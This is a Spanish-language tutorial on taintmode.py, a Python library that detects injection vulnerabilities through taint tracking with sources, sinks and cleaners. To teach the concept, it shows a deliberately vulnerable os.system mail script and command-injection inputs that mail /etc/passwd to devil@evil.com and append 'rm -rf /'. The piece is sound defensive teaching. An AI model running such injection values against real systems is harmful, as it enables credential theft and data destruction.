-------------------- Taint Mode en Python -------------------- .. class:: endnote +-------------------------------------------+-------------------------------------------+ | .. image:: ../taint/juanjodetraje.jpg |**Autor:** Juanjo Conti | | :class: right foto | | | |Juanjo es Ingeniero en Sistemas. Programa | | |en Python desde hace 5 años y | | |lo utiliza para trabajar, investigar | | |y divertirse. | | | | | |**Blog:** http://juanjoconti.com.ar | | | | | |**Email:** jjconti@gmail.com | | | | | |**Twitter:** @jjconti | | | | | | | | | | | | | +-------------------------------------------+-------------------------------------------+ Este artículo está basado en el paper *A Taint Mode for Python via a Library* que escribí junto al Dr. Alejandro Russo de la universidad de tecnología de Chalmers en Suecia y que fue presentado el 24 de junio en la conferencia OWASP App Sec Research 2010. Escenario --------- Hoy en día muchas vulnerabilidades en aplicaciones web presentan una amenaza para los sistemas online; ataques de SQL injection y XSS son de los más comunes en la actualidad. Por lo general, estos ataques son el resultado de un manejo inapropiado de los datos de entrada. Para ayudar a descubrir estas vulnerabilidades, una herramienta útil es Taint Analysis. Algunos lenguajes como Perl o Ruby traen este modo de ejecución incorporado en su intérprete; para Python no hay algo así "de fábrica" pero existen forks de CPython que intentan proveer esta característica. La realidad marca que modificar el intérprete es un trabajo bastante grande y estas ramificaciones no han tenido adopción popular. Como una forma de tratar de solucionar este problema, taintmode.py provee Taint Analysis para Python mediante un módulo de usuario; no se requiere modificación del intérprete. Algunas características del lenguaje, como la posibilidad de crear clases en tiempo de ejecución, los decoradores y el duck typing, permitieron implementar una librería en pocas líneas de código con características más avanzadas que en enfoques previos. Conceptos de Taint Analysis --------------------------- Para arrancar vamos a hablar de algunos conceptos: **Fuentes no confiables**. Cualquier dato no confiable es marcado como manchado. En particular cualquier dato proveniente de parámetros GET y POST, encabezados HTTP y solicitudes AJAX. También pueden marcarse como manchados datos provenientes de fuentes de almacenamiento externo, como una base de datos; esta podría haber sido alterada por una aplicación externa o sus datos alterados sin autorización. Los **sumideros sensibles** son aquellos puntos del sistema a los que no queremos que lleguen datos no validados ya que en ellos puede venir enmascarado un ataque. Algunos ejemplos son: en navegador o un engine que renderiza HTML, motores de base de datos, el sistema operativo o el propio intérprete de Python. El tercer elemento en juego son los métodos de sanitización; permiten escapar, codificar o validar los datos de entrada para dejarlos en un formato apto para ser enviados a alguno de los sumideros. Por ejemplo, en Python, cgi.escape es un método de sanitización: .. code-block:: pycon >>> import cgi >>> cgi.escape("") "<script>alert('esto es un ataque')</script>" ¿Cómo usarlo? ------------- El siguiente ejemplo es sencillo a propósito. Permite entender los conceptos, sin preocuparnos mucho por el problema: .. code-block:: python import sys import os def get_datos(argumentos): return argumentos[1], argumentos[2] usermail, file = get_datos(sys.argv) cmd = 'mail -s "Requested file" ' + usermail + ' < ' + file os.system(cmd) El script recibe como argumentos de entrada una dirección de correo electrónico y un nombre de archivo. Como resultado envía por mail el archivo a su dueño. El problema de esta aplicación es que el autor no tuve en cuenta algunos usos alternativos que un atacante podría hacer de la misma. Usos posibles: .. code-block:: bash python email.py alice@domain.se ./reportJanuary.xls python email.py devil@evil.com '/etc/passwd' python email.py devil@evil.com '/etc/passwd ; rm -rf / ' El primer ejemplo es el uso correcto de la aplicación, aquel que el programador tenía en mente cuando la escribió. El segundo ejemplo muestra la primer vulnerabilidad; un atacante podría enviarse el contenido de /etc/passwd a su cuenta de correo electrónico. El tercer ejemplo es aún más complicado; el atacante no solo roba información sensible del sistema, sino que luego borra los archivos del mismo. Por supuesto, el desarrollo de este escenario dependerá mucho de cómo esté configurado el servidor y con qué permisos el atacante ejecute el programa; pero creo que se entiende la idea. Entonces... ¿cómo podría esta librería haber ayudado al programador a estar alerta de estos problemas y solucionarlos? Lo primero es importar los componentes de la librería y marcar sumideros sensibles y fuentes no confiables. La versión modificada del programa quedaría así: .. code-block:: python import sys import os from taintmode import untrusted, ssink, cleaner, OSI os.system = ssink(OSI)(os.system) @untrusted def get_datos(argumentos): return [argumentos[1], argumentos[2]] usermail, filename = get_datos(sys.argv) cmd = 'mail -s "Requested file" ' + usermail + ' < ' + filename os.system(cmd) Notemos que hay que marcar la función get_datos como una fuente no confiable (aplicando el decorador untrusted) y os.system como un sumidero sensible a ataques de Operating Systema Injection (OSI). Ahora, cuando intentamos correr el programa (independientemente de que los argumentos pasados sean mal intencionados o no) obtendremos este mensaje por la salida estándar: .. code-block:: bash $ python email.py jjconti@gmail.com miNotes.txt =============================================================================== Violation in line 14 from file email.py Tainted value: mail -s "Requested file" jjconti@gmail.com < miNotes.txt ------------------------------------------------------------------------------- usermail, filename = get_datos(sys.argv) cmd = 'mail -s "Requested file" ' + usermail + ' < ' + filename --> os.system(cmd) =============================================================================== La librería intercepta la ejecución justo antes de que el dato no confiable alcance al sumidero sensible y lo informa. El paso siguiente es agregar una función limpiadora para sanitizar los datos de entrada: .. code-block:: python import sys import os from taintmode import untrusted, ssink, cleaner, OSI from cleaners import clean_osi clean_osi = cleaner(OSI)(clean_osi) os.system = ssink(OSI)(os.system) @untrusted def get_datos(argumentos): return [argumentos[1], argumentos[2]] usermail, filename = get_datos(sys.argv) usermail = clean_osi(usermail) filename = clean_osi(filename) cmd = 'mail -s "Requested file" ' + usermail + ' < ' + filename os.system(cmd) En este ejemplo final se importa clean_osi, una función capaz de limpiar datos de entrada contra ataques de OSI y en la línea siguiente se marca como capaz de hacerlo (esto es requerido por la librería). Finalmente utilizamos la función para limpiar las entradas del programa. Cuando ejecutemos el script, correrá normalmente. ¿Cómo funciona? --------------- La librería utiliza identificadores para las distintas vulnerabilidades con las que se quiera trabajar; a estos identificadores los llamados etiquetas. Además, cuenta con decoradores para marcar distintas partes del programa (clases, métodos o funciones) como alguno de los tres elementos que mencionamos en la sección sobre Taint Analysis. untrusted ~~~~~~~~~ untrusted es un decorador utilizado para indicar que los valores retornados por una función o método no son confiables. Como los valores no confiables pueden contener potencialmente cualquier tipo de mancha, estos valores contienen todas las etiquetas. No sabemos quién puede estar escondido detrás y qué tipo de ataque intentando realizar. Si se tiene acceso a la definición de la función o método, por ejemplo si es parte de nuestro código, el decorador puede aplicarse mediante azúcar sintáctica: .. code-block:: python @untrusted def desde_el_exterior(): ... Al usar módulos de terceros, podemos aplicar de todas formas el decorador. El siguiente ejemplo es de un programa que utiliza el framework web.py: .. code-block:: python import web web.input = untrusted(web.input) ssink ~~~~~ El decorador ssink debe utilizarse para marcar aquellas funciones o métodos que no queremos sean alcanzadas por valores manchados: sumideros sensibles o sensitive sinks. Estos sumideros son sensibles a un tipo de vulnerabilidad, y debe especificarse cuando se utiliza el decorador. Por ejemplo, la función eval de Python es un sumidero sensible a ataques de Interpreter Injection. La forma de marcarlo como tal es: .. code-block:: python eval = ssink(II)(eval) El framework web.py nos provee ejemplos de sumideros sensibles a ataques de SQL injection: .. code-block:: python import web db = web.database(dbn="sqlite", db=DB_NAME) db.delete = ssink(SQLI)(db.delete) db.select = ssink(SQLI)(db.select) db.insert = ssink(SQLI)(db.insert) Cómo con los otros decoradores, si el sumidero sensible es definido en nuestro código, podemos utilizar azúcar sintánctica de esta forma: .. code-block:: python @ssink(XSS): def generar_respuesta(input): ... El decorador también puede utilizarse sin especificar ninguna vulnerabilidad. En este caso, el sumidero es marcado como sensible a todos los tipos de vulnerabilidad, aunque este no es un caso de uso muy común: .. code-block:: python @ssink(): def muy_sensible(input): ... Cuando un valor manchado alcanza un sumidero sensible, estamos ante la existencia de una vulnerabilidad y un mecanismo apropiado es ejecutado. cleaner ~~~~~~~ cleaner es un decorador utilizado para indicar que un método o función tiene la habilidad de limpiar manchas en un valor. Por ejemplo, la función texto_plano remueve código HTML de su entrada y retorna un nuevo valor limpio: .. code-block:: python >>> texto_plano("Esto es negrita") 'Esto es negrita' >>> texto_plano("Click here") 'Click here' Este tipo de funciones están asociadas a un tipo de vulnerabilidad; por lo tanto la forma de utilizar el decorador cleaner es especificando un tipo de mancha. Nuevamente hay dos formas de hacerlo. En la definición: .. code-block:: python @cleaner(XSS) def texto_plano(input): ... o antes de empezar a utilizar la función en nuestro programa: .. code-block:: python texto_plano = cleaner(XSS)(texto_plano) Taint aware ~~~~~~~~~~~ Una de las partes principales de la librería se encarga de mantener el rastro de la información de las manchas para las clases built-in (como int o str). La librería define en forma dinámica subclases de estas para agregar un atributo que permita realizar esta trazabilidad; para cada objeto el atributo consiste en un set de etiquetas representando las manchas que tiene en un momento dado de la ejecución. Los objetos son considerados sin manchas cuando el set de etiquetas está vacío. En el contexto de la librería, estas subclases son llamadas *taint-aware classes*. Los métodos heredados de las clases built-in son redefinidos para que sean capaces de propagar la información de las manchas. Por ejemplo, si a y b son objetos manchados, c tendrá la unión de las manchas de ambos: .. code-block:: python c = a.action(b) Estado actual ------------- En este breve artículo se expusieron las características principales de la librería; para conocer algunas características más avanzadas y otros detalles de su implementación pueden visitar su sitio web en http://www.juanjoconti.com.ar/taint/ Más información & links ----------------------- * OWASP App Sec 2010: http://alturl.com/5u94e * OWASP: http://www.owasp.org * Seguridad en Python: http://www.pythonsecurity.org